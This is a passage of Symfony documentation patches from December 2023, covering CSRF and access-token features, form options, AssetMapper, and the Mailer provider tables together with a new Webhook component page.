+Some types of tokens (for instance OIDC) contain all information required
+to create a user entity (e.g. username and roles). In this case, you don't
+need a user provider to create a user from the database::
+
+    // src/Security/AccessTokenHandler.php
+    namespace App\Security;
+
+    // ...
+    class AccessTokenHandler implements AccessTokenHandlerInterface
+    {
+        // ...
+
+        public function getUserBadgeFrom(string $accessToken): UserBadge
+        {
+            // get the data from the token
+            $payload = ...;
+
+            return new UserBadge(
+                $payload->getUserId(),
+                fn (string $userIdentifier) => new User($userIdentifier, $payload->getRoles())
+            );
+        }
+    }
+
+When using this strategy, you can omit the ``user_provider`` configuration
+for :ref:`stateless firewalls <reference-security-stateless>`.
 
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html

From 5ac1a00c062bacf041a64004bee2f2b2ee2a3142 Mon Sep 17 00:00:00 2001
From: SebLevDev <sebastien@leveque.eu>
Date: Sat, 9 Dec 2023 14:34:50 +0100
Subject: [PATCH 4143/5766] [Form] Document using TranslatableMessage in form
 Fields

---
 reference/forms/types/options/button_label.rst.inc | 2 +-
 reference/forms/types/options/placeholder.rst.inc  | 5 ++++-
 2 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/button_label.rst.inc b/reference/forms/types/options/button_label.rst.inc
index 623e8bf6200..c63d48b032c 100644
--- a/reference/forms/types/options/button_label.rst.inc
+++ b/reference/forms/types/options/button_label.rst.inc
@@ -1,7 +1,7 @@
 ``label``
 ~~~~~~~~~
 
-**type**: ``string`` **default**: The label is "guessed" from the field name
+**type**: ``string`` or ``TranslatableMessage`` **default**: The label is "guessed" from the field name
 
 Sets the label that will be displayed on the button. The label can also
 be directly set inside the template:
diff --git a/reference/forms/types/options/placeholder.rst.inc b/reference/forms/types/options/placeholder.rst.inc
index 5920cefbb52..e36b4bce546 100644
--- a/reference/forms/types/options/placeholder.rst.inc
+++ b/reference/forms/types/options/placeholder.rst.inc
@@ -1,7 +1,7 @@
 ``placeholder``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string`` or ``boolean``
+**type**: ``string`` or ``TranslatableMessage`` or ``boolean``
 
 This option determines whether or not a special "empty" option (e.g. "Choose
 an option") will appear at the top of a select widget. This option only
@@ -14,6 +14,9 @@ applies if the ``multiple`` option is set to false.
 
     $builder->add('states', ChoiceType::class, [
         'placeholder' => 'Choose an option',
+
+        // or if you want to translate the text
+        'placeholder' => new TranslatableMessage('form.placeholder.select_option', [], 'form'),
     ]);
 
 * Guarantee that no "empty" value option is displayed::

From 25d8a080b1d3c5a5b1b9ccc24bc2367638742600 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Sat, 9 Dec 2023 11:34:30 -0500
Subject: [PATCH 4144/5766] Add "frontend" as one of the topic to getting
 started

---
 page_creation.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/page_creation.rst b/page_creation.rst
index fa280ea600b..557da9f85ad 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -282,6 +282,7 @@ OK, time to finish mastering the fundamentals by reading these articles:
 * :doc:`/controller`
 * :doc:`/templates`
 * :doc:`/configuration`
+* :doc:`/frontend`
 
 Then, learn about other important topics like the
 :doc:`service container </service_container>`,

From 566fdd0d6ea379e84d2b9c5db26a10ffa4716630 Mon Sep 17 00:00:00 2001
From: Yassine Guedidi <yassine@guedidi.com>
Date: Sat, 9 Dec 2023 19:30:11 +0100
Subject: [PATCH 4145/5766] IsCsrfTokenValid documentation

---
 security/csrf.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/security/csrf.rst b/security/csrf.rst
index be7bb909f61..2e2197f1547 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -164,6 +164,26 @@ method to check its validity::
         }
     }
 
+Alternatively you can use the
+:class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+attribute on the controller action::
+
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
+    // ...
+
+    #[IsCsrfTokenValid('delete-item', tokenKey: 'token')]
+    public function delete(Request $request): Response
+    {
+        // ... do something, like deleting an object
+    }
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+    attribute was introduced in Symfony 7.1.
+
 CSRF Tokens and Compression Side-Channel Attacks
 ------------------------------------------------
 

From e273ed145ac7a90f04fef994be516df2fb80a598 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Sat, 9 Dec 2023 13:31:04 -0500
Subject: [PATCH 4146/5766] [AssetMapper] Adding note about importmap block

---
 frontend/asset_mapper.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 70db9265226..42179fae32d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1035,7 +1035,11 @@ both ``app`` and ``checkout``:
 .. code-block:: twig
 
     {# templates/products/checkout.html.twig #}
-    {% block javascripts %}
+    {#
+        Override an "importmap" block in base.html.twig.
+        If you don't have this, add it around the {{ importmap('app') }} call.
+    #}
+    {% block importmap %}
         {# do NOT call parent() #}
 
         {{ importmap('app', 'checkout') }}
@@ -1044,7 +1048,7 @@ both ``app`` and ``checkout``:
 By passing both ``app`` and ``checkout``, the ``importmap()`` function will
 output the ``importmap`` and also add a ``<script type="module">`` tag that
 loads the ``app.js`` file *and* the ``checkout.js`` file. It's important
-to *not* call ``parent()`` in the ``javascripts`` block. Each page can only
+to *not* call ``parent()`` in the ``importmap`` block. Each page can only
 have *one* importmap, so ``importmap()`` must be called exactly once.
 
 If, for some reason, you want to execute *only* ``checkout.js``

From 47caec8a448b0ab696d419959bd7ca929ccbe60b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 19:37:43 +0100
Subject: [PATCH 4147/5766] Remove obsolete versionadded directive

---
 security/access_token.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 37942e950c4..29fbfbc8bb6 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -700,11 +700,6 @@ create your own User from the claims, you must
 Creating Users from Token
 -------------------------
 
-.. versionadded:: 6.3
-
-    The possibility to omit the user provider in case of stateless firewalls
-    was introduced in Symfony 6.3.
-
 Some types of tokens (for instance OIDC) contain all information required
 to create a user entity (e.g. username and roles). In this case, you don't
 need a user provider to create a user from the database::

From 7b47bdc409d47c082a7a0c7c5d9713ba9606d9b1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 19:42:52 +0100
Subject: [PATCH 4148/5766] Add `#[IsCsrfTokenValid]` to attributes reference

---
 reference/attributes.rst | 1 +
 security/csrf.rst        | 2 ++
 2 files changed, 3 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index cf21c5a7c45..f61c78b9a3a 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -80,6 +80,7 @@ Security
 ~~~~~~~~
 
 * :ref:`CurrentUser <security-json-login>`
+* :ref:`IsCsrfTokenValid <csrf-controller-attributes>`
 * :ref:`IsGranted <security-securing-controller-attributes>`
 
 Serializer
diff --git a/security/csrf.rst b/security/csrf.rst
index 2e2197f1547..0352d7e6f87 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -164,6 +164,8 @@ method to check its validity::
         }
     }
 
+.. _csrf-controller-attributes:
+
 Alternatively you can use the
 :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
 attribute on the controller action::

From 2e45f6af526da40d228dafe40bf31e57e262da76 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 10 Dec 2023 09:54:31 +0100
Subject: [PATCH 4149/5766] [Form] Add `keep_as_list` option

---
 reference/forms/types/collection.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index d1e1f0fb00b..2d91bfd06bd 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -229,6 +229,27 @@ you'd use the :doc:`EmailType </reference/forms/types/email>`. If you want
 to embed a collection of some other form, pass the form type class as this
 option (e.g. ``MyFormType::class``).
 
+keep_as_list
+~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+When set to ``true``, the ``keep_as_list`` option affects the reindexing
+of nested form names within a collection. This feature is particularly useful
+when working with collection types and removing items from the collection
+during form submission.
+
+When this option is set to ``false``, if you have a collection of 3 items and
+you remove the second item, the indexes will be ``0`` and ``2`` when validating
+the collection. However, by enabling the ``keep_as_list`` option and setting
+it to ``true``, the indexes will be reindexed as ``0`` and ``1``. This ensures
+that the indexes remain consecutive and do not have gaps, providing a clearer
+and more predictable structure for your nested forms.
+
+.. versionadded:: 7.1
+
+    The ``keep_as_list`` option was introduced in Symfony 7.1.
+
 prototype
 ~~~~~~~~~
 

From 0ba505841601d4a3a4631e27d62924b3cce67a0c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 10:42:45 +0100
Subject: [PATCH 4150/5766] Rename Service name

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ba55d4964de..a69d3226ef5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,7 +112,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-`Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
+`Mailchimp`_          ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `OhMySMTP`_           ``composer require symfony/oh-my-smtp-mailer``
@@ -1614,7 +1614,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
-.. _`Mailchimp Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
+.. _`Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
 .. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md
 .. _`Markdown syntax`: https://commonmark.org/

From d94f9cc9182ca743dde081e3e67e695e46c3e7e2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 10:44:02 +0100
Subject: [PATCH 4151/5766] -

---
 mailer.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b2074a512ce..85188838e9f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -103,12 +103,8 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-<<<<<<< HEAD
 `Infobip`_            ``composer require symfony/infobip-mailer``
-`Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
-=======
-`Mailchimp`_          ``composer require symfony/mailchimp-mailer``
->>>>>>> 5.4
+`Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `MailPace`_           ``composer require symfony/mail-pace-mailer``

From f31970b94b856cb8dfcfae8730fdb2eebab67071 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 10:44:34 +0100
Subject: [PATCH 4152/5766] -

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index a69d3226ef5..cd6e367ac5d 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,7 +112,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-`Mailchimp`_          ``composer require symfony/mailchimp-mailer``
+`Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `OhMySMTP`_           ``composer require symfony/oh-my-smtp-mailer``

From b8f85a53da0ad46e1ea62deb582cd4dc981082f2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 10:46:02 +0100
Subject: [PATCH 4153/5766] Fix table length

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 3896ba7f731..d6d91e32723 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -99,9 +99,9 @@ Using a 3rd Party Transport
 Instead of using your own SMTP server or sendmail binary, you can send emails
 via a third-party provider:
 
-===================== ==============================================
+===================== ===============================================
 Service               Install with
-===================== ==============================================
+===================== ===============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
@@ -112,7 +112,7 @@ Service               Install with
 `Postmark`_           ``composer require symfony/postmark-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 `Sendinblue`_         ``composer require symfony/sendinblue-mailer``
-===================== ==============================================
+===================== ===============================================
 
 .. versionadded:: 6.2
 

From 2c88dc8c3162ad4e96bf6d309f19ed27eb13689e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <schaedlich.jan@gmail.com>
Date: Sat, 25 Nov 2023 10:45:09 +0100
Subject: [PATCH 4154/5766] Improve `debug:serializer` command documentation by
 adding `serializedPath`

---
 serializer.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index ef155a1a45d..9731e9b869e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -511,20 +511,22 @@ given class:
         |          |   "groups" => [                                            |
         |          |       "book:read",                                         |
         |          |       "book:write",                                        |
-        |          |   ]                                                        |
+        |          |   ],                                                       |
         |          |   "maxDepth" => 1,                                         |
-        |          |   "serializedName" => "book_name"                          |
-        |          |   "ignore" => false                                        |
+        |          |   "serializedName" => "book_name",                         |
+        |          |   "serializedPath" => null,                                |
+        |          |   "ignore" => false,                                       |
         |          |   "normalizationContexts" => [],                           |
         |          |   "denormalizationContexts" => []                          |
         |          | ]                                                          |
         | isbn     | [                                                          |
         |          |   "groups" => [                                            |
         |          |       "book:read",                                         |
-        |          |   ]                                                        |
+        |          |   ],                                                       |
         |          |   "maxDepth" => null,                                      |
-        |          |   "serializedName" => null                                 |
-        |          |   "ignore" => false                                        |
+        |          |   "serializedName" => null,                                |
+        |          |   "serializedPath" => [data][isbn],                        |
+        |          |   "ignore" => false,                                       |
         |          |   "normalizationContexts" => [],                           |
         |          |   "denormalizationContexts" => []                          |
         |          | ]                                                          |

From 177bb039f25256a51d8fb4123af4f09f7ff7f445 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Dec 2023 10:11:02 +0100
Subject: [PATCH 4155/5766] Minor tweak

---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index 557da9f85ad..0bba49938f5 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -281,8 +281,8 @@ OK, time to finish mastering the fundamentals by reading these articles:
 * :doc:`/routing`
 * :doc:`/controller`
 * :doc:`/templates`
-* :doc:`/configuration`
 * :doc:`/frontend`
+* :doc:`/configuration`
 
 Then, learn about other important topics like the
 :doc:`service container </service_container>`,

From a28c1ee3f42631f6ecd1175d5f36d3ed55fa0db3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 12 Dec 2023 11:11:04 +0100
Subject: [PATCH 4156/5766] minor

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cd6e367ac5d..3cdd0b207f3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -179,7 +179,7 @@ Provider              SMTP                                                 HTTP
 ===================== ==================================================== =========================================== ========================================
 `Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
 `Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
-`Mailchimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+`Mandrill`_           mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 `Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
 `Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
 `Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
@@ -1403,8 +1403,8 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
-* Mailchimp
 * Mailgun
+* Mandrill
 * Postmark
 * Sendgrid
 * Sendinblue

From d8c2c3be50f79870a77f38e660808c55f1a3d18d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 11:09:12 +0100
Subject: [PATCH 4157/5766] [Mailer] Mention webhook support in Mailer bridge
 overview

---
 mailer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d6d91e32723..7102ba27f9c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -99,20 +99,20 @@ Using a 3rd Party Transport
 Instead of using your own SMTP server or sendmail binary, you can send emails
 via a third-party provider:
 
-===================== ===============================================
-Service               Install with
-===================== ===============================================
+===================== =============================================== ===============
+Service               Install with                                    Webhook support
+===================== =============================================== ===============
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
 `Infobip`_            ``composer require symfony/infobip-mailer``
-`Mailgun`_            ``composer require symfony/mailgun-mailer``
+`Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
-`Postmark`_           ``composer require symfony/postmark-mailer``
+`Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 `Sendinblue`_         ``composer require symfony/sendinblue-mailer``
-===================== ===============================================
+===================== =============================================== ===============
 
 .. versionadded:: 6.2
 

From a2e1f5547c8cd797f9a7a0fe3636abbdbb5ad35d Mon Sep 17 00:00:00 2001
From: Fabrice Gares <fabrice.gares@timberlee.fr>
Date: Mon, 11 Dec 2023 00:43:31 +0100
Subject: [PATCH 4158/5766] Update security.rst

---
 security.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/security.rst b/security.rst
index d38c9cf731d..c62104497c6 100644
--- a/security.rst
+++ b/security.rst
@@ -1601,6 +1601,7 @@ and set the ``limiter`` option to its service ID:
                     $globalFactory: '@limiter.ip_login'
                     # localFactory is the limiter for username+IP
                     $localFactory: '@limiter.username_ip_login'
+                    $secret: '%kernel.secret%'
 
         security:
             firewalls:
@@ -1651,6 +1652,8 @@ and set the ``limiter`` option to its service ID:
                     <srv:argument type="service" id="limiter.ip_login"/>
                     <!-- 2nd argument is the limiter for username+IP -->
                     <srv:argument type="service" id="limiter.username_ip_login"/>
+                    <!-- 3rd argument is the app secret -->
+                    <srv:argument type="service" id="%kernel.secret%"/>
                 </srv:service>
             </srv:services>
 
@@ -1693,6 +1696,8 @@ and set the ``limiter`` option to its service ID:
                     new Reference('limiter.ip_login'),
                     // 2nd argument is the limiter for username+IP
                     new Reference('limiter.username_ip_login'),
+                    // 3rd argument is the app secret
+                    new Reference('kernel.secret'),
                 ]);
 
             $security->firewall('main')

From a632c9b032db8fc5632f5fb3f82a958793d7827b Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 9 Dec 2023 15:31:52 +0100
Subject: [PATCH 4159/5766] [Webhook] Added component documentation for use in
 combination with Mailer

---
 index.rst                             |   1 +
 mailer.rst                            |   8 ++
 reference/attributes.rst              |   5 +
 reference/configuration/framework.rst |  10 ++
 webhook.rst                           | 132 ++++++++++++++++++++++++++
 5 files changed, 156 insertions(+)
 create mode 100644 webhook.rst

diff --git a/index.rst b/index.rst
index 9cec808e1a7..86893b84ac4 100644
--- a/index.rst
+++ b/index.rst
@@ -58,6 +58,7 @@ Topics
     translation
     validation
     web_link
+    webhook
     workflow
 
 Components
diff --git a/mailer.rst b/mailer.rst
index cb9dffbb41d..8354400ac5c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -93,6 +93,8 @@ native        ``native://default``                      Mailer uses the sendmail
     It's highly recommended to NOT use ``native://default`` as you cannot control
     how sendmail is configured (prefer using ``sendmail://default`` if possible).
 
+.. _mailer_3rd_party_transport:
+
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -277,6 +279,12 @@ party provider:
         # .env
         MAILER_DSN=smtp://KEY:DOMAIN@smtp.eu.mailgun.org.com:25
 
+.. tip::
+
+    Some third party mailers, when using the API, support status callback
+    via webhooks. See the :doc:`Webhook documentation </webhook>` for more
+    details.
+
 High Availability
 ~~~~~~~~~~~~~~~~~
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
index d55baa17f24..5707507dce0 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -69,6 +69,11 @@ Messenger
 
 * :ref:`AsMessageHandler <messenger-handler>`
 
+RemoteEvent
+~~~~~~~~~~~
+
+* :ref:`AsRemoteEventConsumer <webhook>`
+
 Routing
 ~~~~~~~
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e4931a77c7c..01ba5069288 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3625,6 +3625,16 @@ enabled
 
 Adds a `Link HTTP header`_ to the response.
 
+webhook
+~~~~~~~
+
+.. versionadded:: 6.3
+
+    The Webhook configuration was introduced in Symfony 6.3.
+
+The ``webhook`` option (and its children) are used to configure the webhooks
+defined in your application. Read more about the options in the :ref:`Webhook documentation <webhook>`.
+
 workflows
 ~~~~~~~~~
 
diff --git a/webhook.rst b/webhook.rst
new file mode 100644
index 00000000000..08dd68e3535
--- /dev/null
+++ b/webhook.rst
@@ -0,0 +1,132 @@
+Webhook
+=======
+
+.. versionadded:: 6.3
+
+    The Webhook component was introduced in Symfony 6.3
+
+The Webhook component is used to respond to remote webhooks to trigger actions
+in your application. This document focuses on using webhooks to listen to remote
+events in other Symfony components.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/webhook
+
+Usage in combination with the Mailer component
+----------------------------------------------
+
+When using a third-party mailer, you can use the Webhook component to receive
+webhook calls from the third-party mailer.
+
+In this example Mailgun is used with ``'mailer_mailgun'`` as webhook type.
+Any type name can be used as long as it's unique. Make sure to use it in the
+routing configuration, the webhook URL and the RemoteEvent consumer.
+
+Install the third party mailer as described in the documentation of the
+:ref:`Mailer component <mailer_3rd_party_transport>`.
+
+The Webhook component routing needs to be defined:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            webhook:
+                routing:
+                    mailer_mailgun:
+                        service: 'mailer.webhook.request_parser.mailgun'
+                        secret: '%env(MAILER_MAILGUN_SECRET)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xmlns:framework="http://symfony.com/schema/dic/symfony"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                        https://symfony.com/schema/dic/services/services-1.0.xsd
+                        http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:webhook enabled="true">
+                    <framework:routing type="mailer_mailgun">
+                        <framework:service>mailer.webhook.request_parser.mailgun</framework:service>
+                        <framework:secret>%env(MAILER_MAILGUN_SECRET)%</framework:secret>
+                    </framework:routing>
+                </framework:webhook>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use App\Webhook\MailerWebhookParser;
+        use Symfony\Config\FrameworkConfig;
+        return static function (FrameworkConfig $frameworkConfig): void {
+            $webhookConfig = $frameworkConfig->webhook();
+            $webhookConfig
+                ->routing('mailer_mailgun')
+                ->service('mailer.webhook.request_parser.mailgun')
+                ->secret('%env(MAILER_MAILGUN_SECRET)%')
+            ;
+        };
+
+Currently, the following third-party mailer services support webhooks:
+
+=============== ==========================================
+Mailer service  Parser service name
+=============== ==========================================
+Mailgun         ``mailer.webhook.request_parser.mailgun``
+Postmark        ``mailer.webhook.request_parser.postmark``
+=============== ==========================================
+
+Set up the webhook in the third-party mailer. For Mailgun, you can do this
+in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
+path behind the domain you're using.
+
+Mailgun will provide a secret for the webhook. Add this secret to your ``.env``
+file:
+
+.. code-block:: env
+
+    MAILER_MAILGUN_SECRET=your_secret
+
+With this done, you can now add a RemoteEvent consumer to react to the webhooks::
+
+use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
+use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
+use Symfony\Component\RemoteEvent\Event\Mailer\MailerDeliveryEvent;
+use Symfony\Component\RemoteEvent\Event\Mailer\MailerEngagementEvent;
+use Symfony\Component\RemoteEvent\RemoteEvent;
+
+#[AsRemoteEventConsumer('mailer_mailgun')]
+final readonly class WebhookListener implements ConsumerInterface
+{
+    public function consume(RemoteEvent $event): void
+    {
+        if ($event instanceof MailerDeliveryEvent) {
+            $this->handleMailDelivery($event);
+        } elseif ($event instanceof MailerEngagementEvent) {
+            $this->handleMailEngagement($event);
+        } else {
+            // This is not an email event
+            return;
+        }
+    }
+
+    private function handleMailDelivery(MailerDeliveryEvent $event): void
+    {
+        // Handle the mail delivery event
+    }
+
+    private function handleMailEngagement(MailerEngagementEvent $event): void
+    {
+        // Handle the mail engagement event
+    }
+}

From d4b3b3328ba5f7eab4f7c8648cba5a1ed1e28b03 Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Tue, 12 Dec 2023 11:36:36 +0100
Subject: [PATCH 4160/5766] [Mailer] Updated webhook support in Mailer bridge
 overview for 6.4

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 5e7d921a468..846ea52a5ba 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,7 +112,7 @@ Service               Install with                                    Webhook su
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Scaleway`_           ``composer require symfony/scaleway-mailer``
-`SendGrid`_           ``composer require symfony/sendgrid-mailer``
+`SendGrid`_           ``composer require symfony/sendgrid-mailer``    yes
 ===================== =============================================== ===============
 
 .. versionadded:: 6.2

From b8d08cbab23d1aa87bfe12217c607c259ae20275 Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Tue, 12 Dec 2023 11:41:23 +0100
Subject: [PATCH 4161/5766] [Webhook] Added Sendgrid's webhook support (added
 in 6.4)

---
 webhook.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/webhook.rst b/webhook.rst
index 08dd68e3535..f9bde7451a9 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -3,7 +3,7 @@ Webhook
 
 .. versionadded:: 6.3
 
-    The Webhook component was introduced in Symfony 6.3
+    The Webhook component was introduced in Symfony 6.3.
 
 The Webhook component is used to respond to remote webhooks to trigger actions
 in your application. This document focuses on using webhooks to listen to remote
@@ -84,8 +84,14 @@ Mailer service  Parser service name
 =============== ==========================================
 Mailgun         ``mailer.webhook.request_parser.mailgun``
 Postmark        ``mailer.webhook.request_parser.postmark``
+Sendgrid        ``mailer.webhook.request_parser.sendgrid``
 =============== ==========================================
 
+.. versionadded:: 6.4
+
+    Webhook support for the Sendgrid service was introduced in Symfony 6.4.
+
+
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
